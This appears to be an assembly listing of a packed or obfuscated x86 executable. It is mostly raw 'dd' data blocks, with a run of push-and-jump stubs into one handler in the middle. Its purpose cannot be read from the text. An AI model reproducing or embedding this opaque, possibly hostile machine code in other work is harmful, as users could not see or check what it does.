dd 2728966h, 5A04CD52h, 43C78589h, 0B58B0615h, 61543CBh
dd 6610CEC1h, 8B027289h, 1543CBB5h, 72896606h, 858B61FCh
dd 61543C7h, 0E1958DC3h, 89061226h, 12241195h, 0A5958906h
dd 0FF061203h, 1203A585h, 7185C606h, 53061228h, 0B148D868h
dd 0B1B5FFFCh, 8D061203h, 123B5D85h, 89D0FF06h, 1219CD85h
dd 0F9858D06h, 8906153Bh, 1214A585h, 20EB06h, 7 dup(0)
dd 0E9000000h, 55Eh, 552E9h, 46216800h, 36E90615h, 68FFFD3Bh
dd 61546BFh, 0FD3B2CE9h, 48BE68FFh, 22E90615h, 68FFFD3Bh
dd 6154924h, 0FD3B18E9h, 9703F6FFh, 0AB1509F9h, 0C3251D0Dh
dd 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h, 4232D034h
dd 5B4BE949h, 66650361h, 4B6C9405h, 607375FEh, 0B5170F0Eh
dd 73561B2h, 946DEFE9h, 7D89E0B4h, 35D0581Dh, 76000000h
dd 0E9074774h, 0DED4AA6Fh, 345CCD78h, 3B6FE907h, 70683EDh
dd 8360D17Ch, 9269FC42h, 9103A644h, 8A149463h, 8A51BBAFh
dd 26h, 0B61E13E9h, 0B7F35DB3h, 0E9074874h, 0CFB2B96Fh
dd 1C7275D7h, 8B68D984h, 0FA69FC42h, 380C01B0h, 0DB7318C2h
dd 170FE93Dh, 10810AB5h, 6FE907E8h, 5C3FA9F7h, 16F9EC0Bh
dd 0E1C17A10h, 1AB81A12h, 0A2998885h, 8AFBA63Eh, 0EFE9165Eh
dd 8EF6EBC1h, 453D358Bh, 208AE0E3h, 3AF0F341h, 6137E240h
dd 0AE040769h, 3A31C644h, 0BA8BFCA7h, 0D3E9FAF0h, 5318285h
dd 1BE9D6EFh, 0AC0C321h, 0BEB7AF13h, 47FE5B5Eh, 4922F867h
dd 673E9569h, 6A85520Bh, 0DC000000h, 0A7AA1006h, 6AABE751h
dd 0C435E063h, 69FC45CCh, 845A0553h, 4A43198Ah, 0FE91E7EAh
dd 75FE4AD6h, 61FF97E5h, 27197771h, 7361B131h, 408E3316h
dd 30000003h, 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h
dd 1D8A2890h, 0F35B50C2h, 0A6E6555h, 23837C6Ch, 3D9B9585h
dd 0CE3FA09Fh, 75FE4DA6h, 2050A2B5h, 30Bh, 0B5170FCEh
dd 73561B2h, 4B06FE9h, 7F6FE907h, 6FE90754h, 0C48C43B5h
dd 3C3F0BBBh, 0E7EA4C44h, 88B42791h, 0EB6FE9EAh, 27B27079h
dd 9C06AC6Dh, 0E96FFD29h, 704C786Fh, 0D9AFAFE9h, 991680E0h
dd 0DB640F92h, 0A6A90F05h, 3673E650h, 6729FE68h, 0B0BB1619h
dd 0C4158631h, 0E5300F94h, 5EB1A597h, 0A78AB970h, 2A202h
dd 6FDBCE00h, 83EDE1D1h, 9BFDF5E5h, 0B1170DFDh, 0C62E2313h
dd 0EE5CBB28h, 3F391F9h, 1A0AA80Ch, 3323C121h, 3E3DDB39h
dd 4D446CDDh, 384B75FEh, 0B7150FE6h, 51C24BB4h, 6FE90729h
dd 0DDDC4037h, 0A5A8258Fh, 78EA731Eh, 7F696C2Ch, 37AA14EDh
dd 69FC727Eh, 0B3A3418Fh, 3CAE59BBh, 0AA11D85Ch, 17E3E1AEh
dd 0A9A1FC90h, 15187E74h, 3FBD27BFh, 69D1C69Ch, 0CEA61066h
dd 978B61D6h, 83729A2Dh, 2B7975FEh, 36359093h, 0C18E00ABh
dd 141278CEh, 0DD4ED943h, 7012041Ch, 386F881h, 2BA73AB2h
dd 0FC173FD2h, 352D6FE9h, 1C86D4D3h, 0C651EF3Dh, 6FE9FC9Ah
dd 0D681000Bh, 0FD37A065h, 0E893E169h, 1CBA1812h, 29D4322Ch
dd 0B8072FA0h, 0C81675FEh, 0D3C6A634h, 0F7619E36h, 0E1D5AB14h
dd 27BF1D17h, 0F164CE24h, 75FE47B5h, 11BC4746h, 57BBB288h
dd 2194FE54h, 70118350h, 8A600B59h, 0A4943290h, 0F8494CAAh
dd 6FE90BBCh, 4B433E2Dh, 0F890E6E9h, 0F452C44Dh, 0B44AA59Bh
dd 67426AFDh, 0FB496FE9h, 0D4950691h, 0F569FCA2h, 2C5ADBABh
dd 773ED234h, 0DF8A228Eh, 0C89E0F09h, 13696CD2h, 0FE525880h
dd 81196775h, 415264D6h, 0D912AE07h, 0DD27AE45h, 0CE382A03h
dd 8666050h, 20A3AA05h, 43A99F75h, 0F580EA40h, 1230A784h
dd 7F744A70h, 80CEAD17h, 0B1002C7Dh, 75386FE9h, 1BD66C03h
dd 359FE5F4h, 5C32B494h, 0BA970165h, 0D81DB363h, 15AAh
dd 48745000h, 6F6FE91Ch, 10h, 0D8D45CCEh, 53522089h, 4874ADE9h
dd 0FA6FE91Dh, 35E0636Ah, 0FC430BC4h, 19C41269h, 4BF71F90h
dd 0E95A75FEh, 75FE4BC1h, 2D7B7AC8h, 0A177E0C3h, 0DD4649A7h
dd 0FE4B446Ch, 65FD4B75h, 0F48F7EFBh, 0C637C049h, 75FE4B9Eh
dd 0A309FFADh, 0B51F130Bh, 708FD84Bh, 509E7010h, 6F8AEE5Eh
dd 0B1563979h, 0A3h, 0D06EDACDh, 0E482ECE0h, 0FC9AFCF4h
dd 12B0160Ch, 27C52D22h, 0F8ED5FBAh, 0B02F290h, 201909A7h
dd 383222C0h, 0DC3D3CDAh, 0FE4F436Bh, 0E5374A75h, 35E0636Ah
dd 0FC430BC4h, 98F46669h, 0FED9C554h, 0F745248Eh, 0F9299F4h
dd 426ADB64h, 4975FE2Ah, 950691FBh, 701040C8h, 0A1998BD9h
dd 6A796FBBh, 3DE287h, 40330000h, 524636D4h, 625A4AE8h
dd 7C726200h, 93887816h, 0C1208D2Bh, 58F65E53h, 6F0D7168h
dd 8826867Fh, 0A2409E98h, 0A9D142A3h, 0B075FE50h, 865C4B9Dh
dd 0F7BE2892h, 3, 0F5995A5h, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh
dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
dd 4D0B0E78h, 5EDB68h, 242C8900h, 33D768h, 242C8900h, 723E68h
dd 24048900h, 48896856h, 0F75E6C4Ah, 0B4EE81D6h, 8154C133h
dd 4952CFCEh, 18C68164h, 89871771h, 24348BF5h, 5404C483h
dd 8124048Bh, 4C4h, 0E9895100h, 24048151h, 3EB316DAh, 8108408Fh
dd 16DA0868h, 0FF593EB3h, 81582434h, 4C4h, 242C8B00h, 81E38953h
dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFD35F9h, 6134E13Dh
dd 630B7343h, 0B8DC04A9h, 6154986h, 0C88BC503h, 54E900EBh
dd 0E9000006h, 648h, 154AEC68h, 35CFE906h, 4568FFFDh, 0E906154Ch
dd 0FFFD35C5h, 154CD068h, 35BBE906h, 0CE68FFFDh, 0E906154Dh
dd 0FFFD35B1h, 154F1268h, 35A7E906h, 7467FFFDh, 867A6A08h
dd 968E7E1Ch, 0B0A69634h, 0C7BCAC4Ah, 0F554C15Fh, 8C2A9287h
dd 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh, 0DD0576D7h, 0EC75FE51h
dd 487487D9h, 0C36FE907h, 6FE9079Bh, 0E907E30Eh, 7325E6Fh
dd 80AD6FE9h, 0FD6FE907h, 0EFE907D1h, 0DB84B42h, 0FB0A6F9Ch
dd 85307EE9h, 0B856B6AFh, 0C46FCFC8h, 9396F4EEh, 0EB4D453Dh
dd 48439E81h, 4C9D0EB9h, 0B1F00D12h, 4A0B1D3Fh, 0D94AC628h
dd 0EFE96AB1h, 68D26AB8h, 28493B89h, 0D1F97697h, 4C449EEh
dd 8FB0000h, 1A0EFE9Ch, 2A2212B0h, 443A2AC8h, 5B5040DEh
dd 89E855F3h, 20BE261Bh, 37D53930h, 50EE4E47h, 6A086660h
dd 71990A6Bh, 7875FE51h, 150F1365h, 12830CB7h, 6FE907EAh
dd 989B03F8h, 8BF54342h, 72A57A8h, 0BE476FE9h, 79CC435h
dd 55A36FE9h, 9B6A4AEBh, 0B5A543A1h, 0A107FDBBh, 0ADB0489Eh
dd 9C9FFDF7h, 1207DD80h, 0E751A7AAh, 9D976646h, 55ACA13Fh
dd 4AD81D7Bh, 13168074h, 251A53BDh, 71000004h, 0D53FA59Bh
dd 0BB150F99h, 9264169h, 81E5DCB3h, 0FC90287Eh, 0AC2C9A7Dh
dd 4245DD36h, 0E9F3C4F1h, 0D3A9146Fh, 1C7275DFh, 0C1598488h
dd 2D97C1ECh, 542AAC8Ch, 0B58DF75Fh, 0C0BF5DBBh, 3D65D65Fh
dd 4C6FE923h, 980994FEh, 6FE92370h, 0B086317Fh, 9EC56B8h
dd 72D0CAA0h, 77373008h, 0C41A1D7Fh, 7174D2CCh, 42E5831Bh
dd 8014726Ch, 3BD77FA2h, 2A026CCFh, 157D7230h, 7924BC12h
dd 0DE48ACA3h, 262092FBh, 57C353C7h, 0BE198F78h, 0F08821DDh
dd 7C0D0986h, 96F4EEDEh, 82E6DD93h, 0FB2D59E4h, 1E906FE9h
dd 5D9693E7h, 5C84F539h, 636FE9EBh, 3B137D15h, 74DDE044h
dd 0DC46A49Eh, 2AD56C5Fh, 0FBE74CB9h, 9D8FDD69h, 736419CAh
dd 6B93381Bh, 54000003h, 6757F561h, 7B6B0973h, 93832183h
dd 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h, 47A7A090h
dd 61BFB9A9h, 0F263C4C3h, 75FE53CAh, 0F6CBED1h, 4BB4B715h
dd 97087D75h, 6FE9076Fh, 2E98307Eh, 0FBFE5C56h, 3FEA4E45h
dd 0A0D7369h, 41CC4AB4h, 6FE906D5h, 0E917A4D0h, 5FC3BA6Fh
dd 17DF0B5Ch, 5D506FE9h, 770B6F66h, 7FA0F7EBh
dd 0E7922ACFh, 0FB27C976h, 62562C69h, 359FF5F8h, 0CF160856h
dd 8A7364F9h, 2E002A7h, 0ECDF0000h, 0FEF2E280h, 0E06F694h
dd 281E0EACh, 3F3424C2h, 6DCC39D7h, 4A20AFFh, 1BB91D14h
dd 34D2322Bh, 4EEC4A44h, 557DEE4Fh, 6475FE53h, 150FFF51h
dd 12830CB7h, 6FE907EAh, 5639A3F1h, 4548A6A0h, 3134988Fh
dd 1C1F857Bh, 70DACEC6h, 5CC0B76Dh, 86FF0359h, 83973BA6h
dd 0B88F8DC4h, 2909C220h, 5702605Ah, 7C278981h, 0E9B1E30Bh
dd 329CEA6Fh, 2468BFB4h, 49AFD81Eh, 55000002h, 0E9074874h
dd 9655E6Fh, 736B3598h, 24B80E11h, 0CD655334h, 0E6463F2Fh
dd 0D4342DE3h, 0BE261BD1h, 0A71105BBh, 8969E2A4h, 0A719BC1Ah
dd 6E67B99Ch, 21B50B0Eh, 42AC7B87h, 693FC1A1h, 17E91371h
dd 0F3E6A96h, 0B41E7477h, 0E583E3DCh, 0EAE3B942h, 0EACFF78Ah
dd 30DE6FE9h, 7FD5D836h, 49A07DE7h, 90D81E5Eh, 48h, 0E0636A36h
dd 32F3C435h, 0EC3A69FBh, 64C6E1FAh, 0DC816473h, 1E2h
dd 0E07EEADDh, 0F492FCF0h, 0CAA0C04h, 22C0261Ch, 37D53D32h
dd 8FD6FCAh, 1B1202A0h, 302919B7h, 484232D0h, 0EC4D4CEAh
dd 0FE54537Bh, 0F5475A75h, 8D169F00h, 5A5DBFB7h, 7497104h
dd 2506FE9h, 6F52598h, 0B3146FE9h, 0E9071A42h, 3BD3216Fh
dd 0FFC3BA90h, 0A0DA507h, 0B1674AB4h, 0CABA58B8h, 350176D0h
dd 8F63E638h, 0AE4B73E4h, 4526FE9h, 100E696Ch, 0AED5FD6Eh
dd 96E46FE9h, 777060FEh, 8F897917h, 81782E31h, 1F807F1Dh
dd 0E9AE86AEh, 4447956Fh, 9634968Eh, 1B150401h, 0B92225BDh
dd 9088ECE3h, 0F5CD3797h, 5AFD9BFDh, 3FE9F6E8h, 89DFE24Ah
dd 546027F5h, 95FF675Ch, 0E9C5F622h, 5FD0596Fh, 6FE9C537h
dd 3CA29846h, 0CEBD3AA4h, 0DA178833h, 0EB69FBCBh, 281CF29Dh
dd 7EEF685Eh, 75FBBB56h, 0E77F1765h, 872663Ch, 0C745AF05h
dd 0F4564E24h, 54BEB28Ah, 42A29B51h, 0CE92893Fh, 59CA75D5h
dd 75FBBB31h, 4F52EA38h, 9D0F74E6h, 511D243Eh, 0B5170FE7h
dd 0BA5457B2h, 0FBC72149h, 828E9375h, 340907BDh, 2B918735h
dd 0A23AD228h, 0EF7586F7h, 4694700Dh, 76317554h, 2CD1B479h
dd 9Eh, 24C22E21h, 38D64034h, 50EE5048h, 66046A60h, 7B198176h
dd 4C41B30Eh, 5F5646E4h, 746D5DFBh, 8C867614h, 3091902Eh
dd 0FE5697BFh, 4193A675h, 0B4B7150Fh, 0A3A604FEh, 6CEECE87h
dd 0E2EBABFAh, 3AA4E0F1h, 6C0A6862h, 1DB82077h, 4A3F15D8h
dd 2D3F78E2h, 96000000h, 0BB2F9B24h, 0E9FC224Ah, 47DB296Fh
dd 0B9B31060h, 6A02585Bh, 4774C400h, 5D6FE907h, 0C4670563h
dd 9396F4EEh, 0B0CD33Dh, 0BA000000h, 0E9074874h, 6645E6Fh
dd 865C1468h, 0D1272A90h, 24BBCB67h, 2, 1C0F80BCh, 0FDF7ADB0h
dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh
dd 877F3538h, 786C2225h, 684D0B0Eh, 3B4Dh, 68241C89h, 64DAh
dd 51241C89h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h
dd 4EC8124h, 89000000h, 7768242Ch, 5D45A026h, 23E1C581h
dd 0EB89C075h, 148B545Dh, 4C48324h, 24048153h, 6805266Fh
dd 5108428Fh, 5266FB9h, 84A2968h, 24148B59h, 81E38953h
dd 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 8951241Ch, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 2F9FE95Ch, 131BFFFDh, 3D71501Eh
dd 0C985FC60h, 727453CAh, 154FD5B8h, 8BC50306h, 51E9D1h
dd 8B600000h, 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h
dd 8B660000h, 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h
dd 158F0F0Ch, 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh
dd 1C247C89h, 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh
dd 0BAFFFFFFh, 9FD3Eh, 143E9h, 0BE380600h, 95ECE735h, 715893DAh
dd 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h
dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch
dd 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh
dd 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h
dd 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h
dd 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h
dd 0C3B5D4h, 622D4457h, 0AE29B0F3h, 3Ch, 44h, 6Ch, 2 dup(0)
dd 4, 94h, 5, 1, 0A28h, 2, 22h dup(0)
; ---------------------------------------------------------------------------
jmp loc_57DB1F
; ---------------------------------------------------------------------------
push 615542Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6155526h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61555E7h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61556CCh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615578Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6155870h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615593Ah
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61559F8h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6155D88h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6155E06h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6155F3Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156245h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615654Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 615687Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 61569F8h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156A5Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156AB7h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156B1Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156CBDh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156DE8h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 6156F84h
jmp loc_54EA15
; ---------------------------------------------------------------------------
align 4
dd 1303A10Dh, 2717B51Fh, 3F2FCD2Fh, 5545E349h, 0ED5AF860h
dd 0C32B2092h, 0DA3E3525h, 0F3534C3Ch, 0D6B6555h, 9E0F706Fh
dd 75FE5976h, 0F207285h, 0FEB4B715h, 72FBA604h, 0E907D901h
dd 9A92E06Fh, 57D53FA3h, 3AED42B4h, 317ED89Ch, 0A73BD33Dh
dd 0F7043757h, 0BB38A21Eh, 158631B0h, 69FBE158h, 0AF181B69h
dd 0C4898B3Dh, 44AE68FBh, 0FBBCA5D1h, 0A81ADD75h, 0DE16C767h
dd 0DF5D8F11h, 0A7F77206h, 0B79738A2h, 2FF98CE3h, 3BD3DEh
dd 6A790000h, 248A8063h, 6F70E18Ch, 9E69FB11h, 0EE44D50h
dd 57ADB01Ah, 1E4E7AEDh, 0C38675FBh, 9FD1E851h, 0B829850Bh
dd 75FB6690h, 4FB9519Fh, 0A3FACEAEh, 0EADE2FD9h, 0B8h
dd 0B7150F90h, 0A109FEB4h, 90C3359Eh, 0F3D8C7DBh, 359F938Bh
dd 9BF9F3CBh, 2AE8E298h, 9634CC36h, 0E931A00Bh, 5CBAB46Fh
dd 76D4CEBEh, 8E151873h, 30C972E3h, 82D069FBh, 47B841E4h
dd 75FB311Fh, 0F976E02Eh, 53C46FF2h, 700FD324h, 5A30DB29h
dd 7C52FD65h, 38B62086h, 739B0C95h, 7A6FEF8Bh, 0F5EAC22Ch
dd 0FDDD9B8Dh, 472A796Fh, 1C2BA2h, 0DB473A00h, 0EF594D3Dh
dd 7696151h, 1D837969h, 329A8F7Fh, 5AC82794h, 6F5FFD65h
dd 86761478h, 9F8F2D8Dh, 0AAA947A5h, 5BB0D849h, 0ACBF75FEh
dd 0B21A0F5Ah, 0A19B7114h, 701D943h, 118CFEA9h, 0D041485Bh
dd 0B80C8AF4h, 4F3CEA5Ch, 749CA76Dh, 147E1680h, 620D9497h
dd 0FB51F0F1h, 0C8CB1969h, 0FB5E4B77h, 0EAC08375h, 84258FF3h
dd 0D179D0A4h, 0DCC0DE2Fh, 17000000h, 0E1E44C41h, 0FE5218Bh
dd 0FEB4B715h, 0F51D8E09h, 0B6FE907h, 63B1B014h, 0C77C8CBh
dd 206FE903h, 0C726826h, 0ECE6D674h, 4C228B8Eh, 0B88F254h
dd 65D68100h, 69FB0ABCh, 0C22A1FCDh, 0B3A97F2Ah, 0D065E34Dh
dd 8BEFE6DDh, 7C7248F3h, 0B021AC16h, 700FB092h, 0AE842F7Dh
dd 10B351B9h, 658DFE87h, 746FEFB5h, 0B56B9326h, 11726FEFh
dd 0EFB578A0h, 0A139876Fh, 26A5F37h, 6FD46610h, 0DB29579h
dd 1B30h, 38D64235h, 4CEA5448h, 6402645Ch, 7A187E74h, 8F2D958Ah
dd 6055C722h, 736A5AF8h, 8881710Fh, 0A09A8A28h, 44A5A442h
dd 0FE5CABD3h, 4D9FB275h, 14B21A0Fh, 4F77E871h, 0B26FE907h
dd 0E9071941h, 0D3D2206Fh, 49431B85h, 0F0458EFh, 4B438110h
dd 96ECEF55h, 0F0C60FEh, 0FEB4B715h, 0B608A604h, 6C575673h
dd 0B80E1175h, 7AEC7520h, 0B842C70Bh, 0CD4AF165h, 0C4B969FDh
dd 741184EEh, 0A569FB47h, 37ABD344h, 64B275FBh, 564B21CCh
dd 2B95EBEEh, 98DEFE51h, 9C8FD979h, 0CE95A05h, 7D249764h
dd 0DAD12C2Fh, 0AA2B9C47h, 6326899Ah, 9A946A15h, 0B4AE9E3Ch
dd 1C086456h, 0FCDFBEDAh, 1A6F57h, 9703F600h, 0AB1509F9h
dd 0C3251D0Dh, 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h
dd 4232D034h, 5B4BE949h, 66650361h, 5C6C9405h, 607375FEh
dd 0B7150F0Eh, 83F09A0Ch, 0C09393A9h, 340A7356h, 85D7DA3Ch
dd 0F4CCBFE3h, 0A30DA5D1h, 0F19C2726h, 0FB372F80h, 85307E69h
dd 37638BFCh, 1C6A75FBh, 4BE234B2h, 0D17C0706h, 0D5EC360h
dd 32085270h, 0D7A667CFh, 58E39D1h, 8D43DE93h, 982BDC78h
dd 6FE90870h, 0EDC7317Fh, 5859F39Ah, 0D2515CA8h, 0F45C5127h
dd 476FF8Ah, 0C9080B51h, 9F127C2Dh, 31ACCDC2h, 278285D3h
dd 0F1198A24h, 0F8318CD2h, 4DA016AAh, 0BE9189D9h, 890A7B26h
dd 0C02B9E82h, 0B53EC772h, 9A861C44h, 6BD52337h, 9D3B9993h
dd 0C82E24FAh, 2D056FC5h, 0F7E3D533h, 54B1C502h, 198ACC71h
dd 0E8DB0000h, 0FAEEDE7Ch, 0A02F290h, 241A0AA8h, 3B3020BEh
dd 69C835D3h, 9E06FBh, 17B51910h, 30CE2E27h, 4AE84640h
dd 5179EA4Bh, 5875FE5Dh, 150FF345h, 5259B4B7h, 299B24CFh
dd 9EB0ABCh, 0C538A2DCh, 69FB0458h, 5AFD9BE9h, 9A70E3E8h
dd 0B41E2C6Bh, 9C8FC27Ah, 4CE95A05h, 11700E28h, 79E3413Bh
dd 0FF524C9Ah, 0F3429085h, 0BD68FBF2h, 0ED6A5E34h, 9170547Ch
dd 750D5B0Ch, 2B241C72h, 872C8CBh, 0A36EB895h, 787BC906h
dd 0F802E1Dh, 0AA371E7h, 37ACF6h, 31BD0466h, 0E5560199h
dd 4B59E64h, 23AC57A5h, 91628AB2h, 0D943910Ch, 207E784Eh
dd 3A989282h, 0CE278848h, 27CCAFDCh, 18C8h, 0A03EAA9Dh
dd 0B452BCB0h, 0CC6ACCC4h, 0E280E6DCh, 0F795FDF2h, 0C8BD2F8Ah
dd 0DBD2C260h, 0F0E9D977h, 802F290h, 0AC0D0CAAh, 0FE5E133Bh
dd 0B5071A75h, 0CB7150Fh, 0A761EE9Ah, 4EB8118Fh, 352C026Bh
dd 0CD78CED1h, 0E9D3345Ch, 83ED3B6Fh, 0D17C0706h, 0FBE2B360h
dd 0D674C269h, 198BB484h, 0C83E9F0Dh, 96137D15h, 9B491097h
dd 39D40800h, 0FC6DF6A1h, 75FB07D4h, 98238DDBh, 0D2E8A27h
dd 332D7B70h, 0ABDACEE0h, 0DFD7AD92h, 3BA6E97Dh, 0A39DF0D5h
dd 32B1BC39h, 7E391687h, 0FA48673Dh, 0B7E3DD4Fh, 0A54FF49Ch
dd 0EFD583Bh, 9AC7EF60h, 88D66B39h, 53D445F0h, 0FA654BD1h
dd 0A27801ACh, 4DC46ACh, 1E0EAC0Ah, 0E3DDB324h, 0AFCAF285h
dd 23D16D2Bh, 71C7CA2Ah, 7F4F41D9h, 0AC7C33DAh, 17E624C9h
dd 8C7F0000h, 9E928220h, 0AEA69634h, 0C8BEAE4Ch, 0DFD4C462h
dd 0D6CD977h, 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh, 0EE8CEAE4h
dd 0F51D8EEFh, 475FE5Fh, 150F9FF1h, 754BB4B7h, 0B0191C7Ch
dd 0E907173Fh, 40D8266Fh, 0BC5259D6h, 0E907234Bh, 58C92A6Fh
dd 6FE90730h, 0C159F13Fh, 0BFB78D16h, 0C045A5Dh, 0D548B214h
dd 69FB12C4h, 5AC2B765h, 5BD224C2h, 0C16CF7F6h, 0D42B350h
dd 1A146270h, 222DDAC7h, 30DECDFCh, 9A54E3BEh, 0EB7E8ECBh
dd 3B159C3h, 8A847CCAh, 78E9942Ch, 0FDC3579Bh, 3E999CEAh
dd 9709B44Fh, 7B8933D2h, 33BE2819h, 0D60A41C2h, 0CF7AC8FFh
dd 3A1FFF9h, 655B1913h, 0EA6FCFFh, 0AD8BA81Ch, 0E78C6FE5h
dd 171Ch, 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh
dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch, 58B9B856h
dd 0FE60BFE7h, 69BBCE75h, 0B4B7150Fh, 4BBC5259h, 6FE90723h
dd 0D6D93731h, 0AF208180h, 6FE90787h, 18B04896h, 585EFC6Dh
dd 2F0569FCh, 1977713Bh, 2528C016h, 388665CFh, 5FBDB78Dh
dd 54481EC1h, 2791E7EAh, 0FE57FCB4h, 0F78A8575h, 9844B659h
dd 41CEC554h, 3D370F79h, 0A1AC41DFh, 68067722h, 0A77011DCh
dd 7DAD446h, 172F6C8Fh, 0E9F95C84h, 7D15636Fh, 0A105FCD2h
dd 53DE489Eh, 811F897Dh, 30339D91h, 0CBC2807Ah, 0D5DDCF67h
dd 2679758Fh, 165E9E43h, 14070000h, 261A0AA8h, 362E1EBCh
dd 504636D4h, 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch
dd 5CFA5A53h, 7614726Ch, 7DA51677h, 8C75FE60h, 636A2779h
dd 26C435E0h, 0E969FC58h, 201AF09Bh, 0F2A517C2h, 8705A9B2h
dd 0A74AC832h, 68553735h, 62B31C86h, 0DD241950h, 0D04DB74Fh
dd 0C19742D1h, 6EF963CDh, 0FE08C1FDh, 594E2475h, 5EA887F1h
dd 303B3D02h, 0C8CB635Ah, 318F895Fh, 0C62754C7h, 865F75FEh
dd 3D7BD2A6h, 4CC2DE33h, 68000000h, 31DC6F6Ah, 9E14E9BFh
dd 7FE98CBCh, 574F83F4h, 105E6FE9h, 5790BC0Dh, 0EFC86FE9h
dd 0CEE43B0Fh, 3D9D81Dh, 740AA0Ah, 1Fh, 90865CADh, 204DC02Ah
dd 936FE907h, 0ED5E0998h, 69FB2100h, 4218C311h, 8EE4E74Bh
dd 6A52A624h, 0C435E063h, 69FB0977h, 0BF7578C6h, 26C967C5h
dd 0F4F75750h, 625C349Eh, 2E4C7F08h, 69DA73B8h
dd 75FBB641h, 0B762FA48h, 0FBB61E46h, 47DF2D75h, 31998E44h
dd 5A30D12Eh, 0F5960062h, 8E4C4615h, 9E3694h, 0B5B81610h
dd 25D0535Ah, 69D1C69Ch, 33A61066h, 700DCA1Eh, 1303A1EFh
dd 4FB8BB19h, 33B804DDh, 655D5A2Ah, 0B2080B6Dh, 618AD548h
dd 44FB17E0h, 0F970E264h, 6FD4B058h, 211BF35Dh, 3B3525C3h
dd 2E24DADDh, 0AF6EC5C8h, 0A80600CFh, 9C91670Ah, 0F8F2CA34h
dd 313C979Ah, 0ED9607B2h, 50E231CFh, 0C7C0827Ah, 8665CF67h
dd 7D80DED8h, 6A6DCFC7h, 46E47C14h, 0FBFE5C56h, 3FEA4E45h
dd 0D107069h, 0D6A4DB7h, 0ADA77656h, 0D6CEA44Fh, 1F877C74h
dd 0DE5CC61Ch, 9396F4EEh, 3AE3538h, 0D1D4342Dh, 1586117Bh
dd 0E81FC2D4h, 1909A7F5h, 6DBEC11Fh, 0F81FBE41h, 8E10F0A9h
dd 0BE6C9405h, 2573D81Fh, 8BE9E3BBh, 0A404FDEDh, 8EF6EBA1h
dd 0AF190DE3h, 8D466245h, 61552BADh, 0BCB58DF7h, 0B728B15Ch
dd 0D81FBE8Fh, 68E6509Eh, 741F7F78h, 0C132A59Eh, 0D81FBE99h
dd 0B7BA52A0h, 0BEB5DD4Eh, 76C4D81Fh, 89F1E6DEh, 0E3C63086h
dd 46B0A47Ah, 0A80E04DCh, 93F9EFA5h, 7DE5DA90h, 0C5A55E7Ah
dd 2000B756h, 9F985851h, 4EE63C3Fh, 7C7C0B0h, 53A9AC10h
dd 6E5DB8BBh, 6AB728D3h, 0BBD231C0h, 52A71971h, 89C74E9h
dd 22BBA88Eh, 12BD554Eh, 0DEE1453Ch, 0D9D7A48Ch, 28C09993h
dd 6BD53930h, 16883188h, 28A09DE9h, 4EEF5926h, 46A69F6Eh
dd 60BEB8A8h, 4FADA75Dh, 9777304Ch, 0D270CEC8h, 427686DDh
dd 20CD46h, 0F730000h, 58B3B616h, 9A23CE55h, 0FB0A4E28h
dd 6FD9F1AEh, 0FB3BFFFCh, 22C00E69h, 2143h, 160FF100h
dd 70A32A3h, 0C3116FE9h, 0DECD282Bh, 0D4BFA747h, 0F78F86E6h
dd 5BDADB4Ch, 257369FBh, 0D35C3387h, 0E9073A62h, 81D7AC6Fh
dd 9FF5C86h, 1852BC0Ah, 36CDC015h, 697D1A8Bh, 3E8C69FBh
dd 71990A93h, 0E375FB19h, 491A5B65h, 0AFFDFCD5h, 77006B45h
dd 0FB16DE06h, 359FED75h, 6C219AC2h, 291FF5A1h, 99E9E2C7h
dd 0B048D71Bh, 3FC2C946h, 50082294h, 0DE0BA941h, 9B78E974h
dd 0EA5C9CD6h, 8A03D3A0h, 821A216Fh, 0DA4167Fh, 80DED83Ch
